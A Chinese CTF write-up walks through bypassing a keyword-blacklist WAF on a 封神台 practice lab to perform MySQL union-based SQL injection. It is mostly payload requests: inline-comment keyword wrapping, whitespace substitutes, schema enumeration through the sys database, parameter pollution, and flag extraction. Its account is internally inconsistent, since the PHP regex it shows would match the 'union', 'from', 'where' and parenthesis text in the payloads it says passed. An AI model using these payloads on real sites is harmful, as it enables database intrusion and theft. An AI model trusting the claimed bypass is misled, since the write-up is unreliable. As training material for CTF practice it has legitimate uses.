封神台第二章这题,卡了我整整一个晚上。倒不是说注入思路有多难,而是前面所有顺手的payload打上去,全部被一道看不见的墙挡了回来——返回页面直接丢出一句WAF拦截提示,连个完整的报错信息都不给。如果你也正被这种“过滤得死死的”的关卡折磨,这篇文章应该能帮你少走不少弯路。我会以MySQL关键字过滤这个最常见出题点为例,完整复盘我从探测、分析到绕过、拿flag的全过程,把判断过滤规则的方法、可复用的绕过技巧,以及几个容易误判的细节一起整理出来。文章里的所有操作都在封神台靶场自家环境完成,拿去打授权测试和CTF练习都没问题,但别往未经授权的目标上试,这个边界咱们得先划清楚。
1. 先别急着怼WAF,我先把这题的边界摸清楚
很多人在攻防靶场里一遇到WAF就上头,看到拦截页面马上开始堆payload,实际上这是效率最低的做法。绕过WAF的前提是知道它在过滤什么,换句话说,你得先把“敌人”的规则边界摸出来。封神台第二章这种入门偏进阶的关卡,出题人通常不会上商业级WAF,更多是用PHP或中间件层自己写一套过滤逻辑,把SQL注入里最常用的关键字和符号拉黑。
1.1 这道题到底在过滤什么
以最常见的出题方式来讲,后端代码通常长这样:
<?php $id = $_GET['id']; if (preg_match('/select|union|sleep|information_schema|from|where|\(/i', $id)) { die('WAF拦截:请求包含非法关键字'); } $conn = mysqli_connect('localhost', 'root', '', 'ctf_db'); $sql = "SELECT * FROM products WHERE id = '$id'"; $result = mysqli_query($conn, $sql);注意这里正则末尾的/i,说明它是不区分大小写的。也就是说,你写SELECT和select效果一样,都会被杀掉。这题的核心考点就在这:出题人专门把SQL注入里最常见的一串关键字给ban了,你单引号能用,注释符能用,数字和运算符基本没过滤,但关键词一旦出现就直接“劝退”。
这类过滤规则本质上是黑名单策略。黑名单的最大弱点在于它只能枚举已知的攻击特征,而SQL语法本身极其灵活,同一个语义可以有十几种写法。我们要做的,就是从这些语法特性里找出黑名单没覆盖到的那条路。
1.2 先分清“WAF拦截”和“SQL语法报错”
刚开始我犯了个错误,把页面没有任何变化当成“可能没注入点”,实际上那是被WAF拦截后的静默处理。这里有一个判断技巧,必须先做:访问http://127.0.0.1:8080/ctf2/goods.php?id=1,正常返回商品信息页面,然后依次输入下面几个请求:
GET /ctf2/goods.php?id=1' HTTP/1.1 GET /ctf2/goods.php?id=1%27%20and%20'1'='1 HTTP/1.1 GET /ctf2/goods.php?id=1%27%20and%20'1'='2 HTTP/1.1如果单引号直接导致页面报错、返回空或者500,说明SQL语句确实闭合出问题了,注入点成立。如果页面跟没事人一样,很可能是WAF把特殊字符也一并过滤了。如果返回一个独立的提示页面,比如“forbidden”“拦截”之类的字样,那就是命中规则了。封神台这题的处理方式是直接die掉并输出拦截提示,所以判断起来还算直观。
这一步的意义在于:永远别急着上脚本和工具,先手工确定两件事——第一,这个参数能不能和数据库交互;第二,交互方式是什么,是数字型还是字符型。绕WAF的每一步都建立在这些确认之上,跳步基本等于盲人摸象。
2. 我踩过的坑:直接注入被拦得死死的
我一开始的思路非常简单粗暴:既然是MySQL,那就id=1' union select 1,2,3 -- -试试。结果不出意外,被拦了。然后我又试了id=1' UnIoN sElEcT 1,2,3 -- -,也被拦了。那时候我才意识到,出题人把大小写这条路也堵死了。
2.1 为什么常规payload在这里全废
常规的union注入payload可以拆成几个核心片段:闭合符(单引号)、联合查询关键字union select、注释符、以及后面要用的information_schema系列。黑名单把select和union都拉黑了,这就导致最基础的联合注入完全没法用。再加上括号如果也被过滤,那union select 1,2,3后面的子查询、报错注入的extractvalue()、updatexml(),几乎全被摁死。
还有个容易忽略的坑:空格。很多WAF除了过滤关键字,还会把连续空格、%20当作特征之一。你直接写id=1' union select,光看空格那段都有可能触发规则。这里的逻辑是:真实的Web请求中,参数值里出现不合常理的连续空白、注释符拼接,本身就具备很高的攻击嫌疑,所以出题人经常把空格的检测也写进去。
一开始我光顾着换大小写,没想过空格的问题,结果连续试了十几次全被拦,后面才意识到这题不是只卡关键字,连“形态”都要换掉。这也是很多新手卡关的直接原因——以为绕过一个过滤点就完事了,实际上得同时绕过好几个过滤维度。
2.2 被拦之后的第一反应是错误的
被拦之后,我的第一反应是掏出扫描器/工具跑。这其实是个大坑:工具的高度自动化反而更适合WAF去识别,因为它们发请求的频率高、特征固定、变化少,工具生成的payload往往撞在同一个黑名单上。而且工具一跑,日志里全是攻击特征,靶场虽然无所谓,但你去打授权测试的时候,这种行为就是给防守方送证据。
被拦之后更合理的操作,是回到手工思路,用最简单的参数变化去探测WAF的“边界”。比如:
id=1正常返回id=1 and 1=1是否被拦id=1 AND 1=1是否被拦id=1 /**/and/**/ 1=1是否被拦id=1%0aand%0a1=1是否被拦id=1' && '1'='1是否被拦
每一条请求都能帮你画出过滤规则的轮廓。这个过程很像在探雷:你不是直接冲过去,而是用小石子一颗一颗往前扔,听见响就知道哪个位置埋了雷。后面我的所有绕过方案,都是基于这轮探测结果来选的,而不是凭空猜。
3. 绕过MySQL关键字过滤的几条实用路线
探测做完之后,我心里基本有数了:单引号没被过滤,and、or这些运算符大概率没被过滤,比较符号也能用,但select、union、from、where、information_schema、括号这些全被拉黑。接下来就是围绕这些限制条件,找一条能完整表达SQL语义的替代链。
3.1 用内联注释和等价写法绕过关键字检测
MySQL有一个很有意思的特性:注释内容可以被当作SQL执行。这个特性叫内联注释,格式是/*!内容*/。比如/*!50000select*/在MySQL 5.0及以上版本会解析成select,而普通注释/*内容*/只是注释。
关键在于:如果WAF的正则表达式只匹配了纯文本中的select,对/*!50000select*/这种字符串,要么直接放行,要么没办法精准提取出select这个词来匹配。所以我的第一个突破口就是用内联注释来套关键字。比如:
GET /ctf2/goods.php?id=1' /*!50000union*/ /*!50000select*/ 1,2,3 -- - HTTP/1.1实测下来大多数黑名单匹配不到这里面的union和select,因为它们被数字和注释符号包住了,正则想要匹配就得写得更复杂,而靶场出题人一般不会把正则写到这个颗粒度。
除了内联注释,MySQL还允许关键字中间插入注释来分割,比如sel/**/ect、un/**/ion。不过要注意,有些黑名单会做“去注释再匹配”的预处理,遇到这种情况内联注释和分割注释都会失效。这时候可以试试关键词的无引号十六进制等价形式,比如0x73656c656374对应的ASCII字符串是select,但十六进制字面量一般只用在数据值上,不能直接替代SQL关键字,所以这种思路主要用在表名、列名的位置,不是所有地方都灵。
3.2 空格被过滤后的替代方案
空格被限制时,MySQL允许用注释符/**/代替空格使用。这可能是所有替代方案里最稳的,因为注释符本身不算SQL语法,但MySQL在解析时会把/* */整体当作一个词法分隔符,效果和空格几乎一样。比如:
1'/**/union/**/select/**/1,2,3-- -这个写法在联合注入里特别实用。但如果连/**/也被过滤了,还能用URL编码后的空白字符,比如%0a、%0b、%0c、%0d、%09,它们在某些PHP环境下会被MySQL当作空格处理。实测中%0a(换行)的兼容性最好,很多WAF只检查了%20和+,却漏掉了这些非常规空白。
如果括号没被过滤,还有一种更优雅的写法:去掉空格,直接把表达式包在括号里。比如(select(1)),MySQL允许函数和子查询紧跟括号,不需要额外空格。后面构造注入语句的时候,这招能省掉很多和空格过滤搏斗的时间。
3.3 information_schema被过滤怎么办
information_schema这个库是SQL注入里取表名、取列名的“基础设施”,黑名单当然不会放过它。问题是,不查information_schema,我怎么知道库里有哪些表?
这里有几条路可以走。第一,用替代视图,比如sys.schema_auto_increment_columns,它记录了所有带自增列的表,通常能在sys库被放行的情况下拿到表名。第二,如果sys也被过滤了,就尝试直接“猜表名”,CTF靶场习惯把表名设为flag、users、admin之类的名字,配合group_concat去盲注列名或数据。第三,如果时间盲注可用,就通过if(条件, 延时, 0)加substr逐字把所有表结构“磨”出来,这种思路慢但稳定。
举个例子,如果from和where也被过滤了,常规的(select table_name from information_schema.tables)直接阵亡,但我们可以换成查看库内自增列的语句:
(select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database())注意这里where如果被过滤,就不能这么写了,得继续寻找替代。不过封神台第二章的过滤强度还没到“全ban”那么变态,它能容忍你在黑名单边缘试探几轮,找到一条可以串起来的链子,就已经算解题成功。
4. 完整解题流程复盘:从探测到拿Flag
纸上谈兵再多,不如走一遍完整流程。下面这一段是我在封神台第二章环境里实际操作的完整复盘,从最基础的探测开始,到最终拿到flag,总共五个步骤,每一步我都标注了当时的判断逻辑和踩坑点。
4.1 第一步:确认注入点与闭合方式
先用最简单的单引号判断:
GET /ctf2/goods.php?id=1' HTTP/1.1返回页面明显异常,出现SQL语句片段,说明单引号被拼接进了SQL里,且没有被过滤。接着测闭合条件:
GET /ctf2/goods.php?id=1' and '1'='1 HTTP/1.1 GET /ctf2/goods.php?id=1' and '1'='2 HTTP/1.1第一条返回正常商品页,第二条页面内容为空或逻辑出现变化,说明'1'='1让SQL条件恒真,'1'='2让条件恒假。到这里可以确定:这是一个字符型注入点,闭合方式就是单引号。这个判断看起来很基础,但它决定了后面所有payload的拼接方式,错了的话,后面绕得再漂亮都是白搭。
4.2 第二步:手工验证过滤规则
这一步是把过滤规则彻底摸清楚。我整理了一张简单的探测表,用不同的请求去碰:
| 请求内容 | 返回结果 | 结论 |
|---|---|---|
id=1' and '1'='1 | 正常返回 | and未被过滤 |
id=1' union select 1,2,3 -- - | 拦截提示 | union、select被过滤 |
id=1'&&'1'='1 | 正常返回 | &&运算符可用,说明空格不是唯一逻辑连接方式 |
id=1' and sleep(3) -- - | 拦截提示 | sleep被过滤,函数括号可能也要额外检测 |
id=1'/**/and/**/'1'='1 | 正常返回 | 注释符可用,能替代空格 |
id=1' and extractvalue(1,concat(0x7e,database())) -- - | 拦截提示 | extractvalue被过滤,可能括号被限,或函数名黑名单 |
做完这张表,我心里基本有了一个“允许清单”和“禁止清单”。允许:单引号、数字、and、or、&&、||、注释符、%0a类空白,-- -注释。禁止:union、select、sleep、extractvalue、updatexml、from、where、information_schema。这个黑白名单就是后面所有构造的空间。
4.3 第三步:组装一条能用的绕过链
既然union和select被拉黑,最简单的思路是用内联注释把关键字还原回SQL语义。union我用/*!50000union*/替代,select用/*!50000select*/替代。空格全部用/**/替代,注释符用-- -结尾。于是构造出第一条完整payload:
GET /ctf2/goods.php?id=1'/*!50000union*/%20/*!50000select*/%201,2,3--%20- HTTP/1.1注意,我在union和select中间用了%20而不是/**/,因为我当时想测试一下普通空格到底是不是也被过滤了。实测这条居然过了。说明这个环境的WAF没有针对空格做单独拦截,它主要拦的还是关键词。但小心驶得万年船,后续payload里我全部改成了/**/统一风格,避免在严格的规则下再冒一次险。
返回页面上出现了2和3的位次显示,说明字段数是3,且位置2和3回显到页面上了。到这里,联合注入的路子就通了。
4.4 第四步:数据提取与收尾
字段位次确定后,接下来要把表结构捞出来。information_schema被过滤了,我换用sys.schema_auto_increment_columns试水。先看当前库名:
GET /ctf2/goods.php?id=1'/*!50000union*/%20/*!50000select*/%201,2,database()--%20- HTTP/1.1页面回显出ctf_db。接着看这个库里有哪些自增表:
GET /ctf2/goods.php?id=1'/*!50000union*/%20/*!50000select*/%201,2,group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()--%20- HTTP/1.1从回显结果里看到flag表。拿到表名之后,同样的办法去看列名。简化起见,我直接用两步猜解:表名是flag,列名很可能是flag。最终payload:
GET /ctf2/goods.php?id=1'/*!50000union*/%20/*!50000select*/%201,2,group_concat(flag)/**/from/**/ctf_db.flag--%20- HTTP/1.1页面成功回显flag。到这里,整个第二章的核心内容就解出来了。整个过程说穿了就是把“被过滤的关键字”用MySQL的语法等价物重新表达了一遍,并没有用什么黑科技。
5. 常见问题与排查技巧实录
按照惯例,我把这题以及同类题里容易踩的坑整理成一个速查表,方便你卡壳的时候直接对着排查。
| 现象 | 可能原因 | 处理方式 |
|---|---|---|
| 返回200,但页面和正常请求完全一样 | 注入未生效,可能在WAF层被过滤后走了默认逻辑,也可能是闭合方式不对 | 先确认单引号是否报错,再确认闭合条件;用手工写死的'1'='1和'1'='2对比 |
| 返回拦截提示,但payload看起来很普通 | 命中了黑名单关键词或特殊符号,比如空格、and、= | 缩小范围逐一测试;把空格换成/**/或%0a;把=换成like或in试试 |
内联注释/*!50000union*/也被拦 | WAF可能先移除了注释后再匹配,或者检测了/*!特征 | 试试普通注释分割un/**/ion;或换用绕过链中其他可用的注入方式,比如时间盲注、报错注入变体 |
| 双写关键字没用 | 过滤规则可能不是简单替换,而是循环匹配,或者用了正则边界匹配 | 不要死磕双写,场上哪个能用就换哪个;这里组合拳的价值远大于单点技巧 |
| 时间盲注不稳定,延时忽长忽短 | 数据库连接状态、网络波动都可能导致误判 | 多测几次取稳定值;如果环境本身反应快,改用布尔盲注,按返回页面的长度差异来判断 |
| 报错注入函数被全部拦截 | 函数列表里写了extractvalue、updatexml等常见函数名 | 尝试几何函数、GTID函数等冷门报错函数,或者直接用联合注入加盲注 |
除了表格里的这些,我再补充几个不太会写在常规题解里的细节。
第一,注意-- -的末尾空格。-- -最后那个短横后面必须跟一个空格,否则注释符可能不生效。URL里空格要写成%20,否则请求会被解析成奇怪的结果。我调试过程中至少有三四次payload没生效,最后发现都是这个尾巴没处理好。
第二,尽量用页面长度变化来判断真假。有的WAF在拦截时会返回一个统一长度、统一内容的静态页面。如果你每次都靠肉眼对比,很容易看花眼。可以用curl加上-o /dev/null -w '%{size_download}'来看返回体长度,一秒分辨差异。
第三,参数污染值得一试。有些后端代码只取了参数数组的最后一个或第一个值,而WAF可能只检查了其中某一个。比如:
GET /ctf2/goods.php?id=1&id=1'/*!50000union*/%20/*!50000select*/%201,2,3--%20- HTTP/1.1如果后端取的是第二个id,但WAF规则遍历到第一个id就放行了,这条payload就能直接绕过检测。封神台第二章不一定用到这招,但碰到更严的WAF时,它是一个低成本的备选思路。
第四,如果SQL语句本身因为过滤导致括号全部失效,可以考虑用无括号的盲注表达式。比如利用if函数时被过滤了括号,很难继续;但如果只是函数括号被过滤,可以尝试用select ... into、load_file这些不需要括号的语句形态来读文件或外带数据。当然,这是进阶用法,属于WAF过滤非常严格时才会拿出来用的东西。
6. 最后再分享一点我对WAF绕过的体会
踩过封神台第二章这个坑之后,我最深的感受是:绕WAF这件事,真不是靠几个高大上的payload堆出来的。它更像是在拼图——你先通过探测知道哪些积木被拿走了,然后再从剩下的积木里找出能拼出完整图案的那几块。对我个人而言,这题的收获甚至不在于最后那个flag,而是让我真正建立起了一套“先分析规则,再构造绕过链”的思考方式。以后再遇到更硬的WAF,我不至于上来就瞎撞。如果你也卡在这一章,别急着翻答案,按着上面的流程自己走一遍:确认闭合、探过滤边界、找替代写法、组合验证。这个思路一旦打通,后面比这更复杂的关卡,你也能从容不少。